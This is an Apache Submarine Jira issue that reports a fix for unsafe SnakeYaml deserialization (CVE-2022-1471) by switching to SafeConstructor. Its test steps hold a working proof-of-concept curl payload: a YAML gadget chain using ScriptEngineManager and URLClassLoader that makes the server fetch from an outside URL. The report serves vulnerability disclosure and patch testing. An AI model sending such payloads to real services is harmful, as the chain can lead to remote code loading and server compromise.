cdmikechen created SUBMARINE-1371:
-------------------------------------
Summary: Fix unsafe deserialization via SnakeYaml in
YamlEntityProvider
Key: SUBMARINE-1371
URL: https://issues.apache.org/jira/browse/SUBMARINE-1371
Project: Apache Submarine
Issue Type: Bug
Components: Backend Server
Reporter: cdmikechen
Use SnakeYaml's SafeConstructor to replace default Yaml no arguments
constructor to void unsafe deserialization.
Link url: [https://nvd.nist.gov/vuln/detail/CVE-2022-1471]
Test steps:
# start a server with *python3 -m http.server 8080*
# start submarine
# test submarine with command
{code:sh}
curl --location 'http://127.0.0.1:32080/api/v1/serve/' \
--header 'Content-Type: application/yaml' \
--data '!!org.apache.submarine.server.api.model.ServeSpec: modelName:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL
["http://localhost:8080";]]]]'
{code}
# we can see python server receive url like this:
{code:sh}
Serving HTTP on :: port 8080 (http://[::]:8080/) ...
::ffff:127.0.0.1 - - [05/Mar/2023 16:12:01] "GET / HTTP/1.1" 200 -
{code}
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]
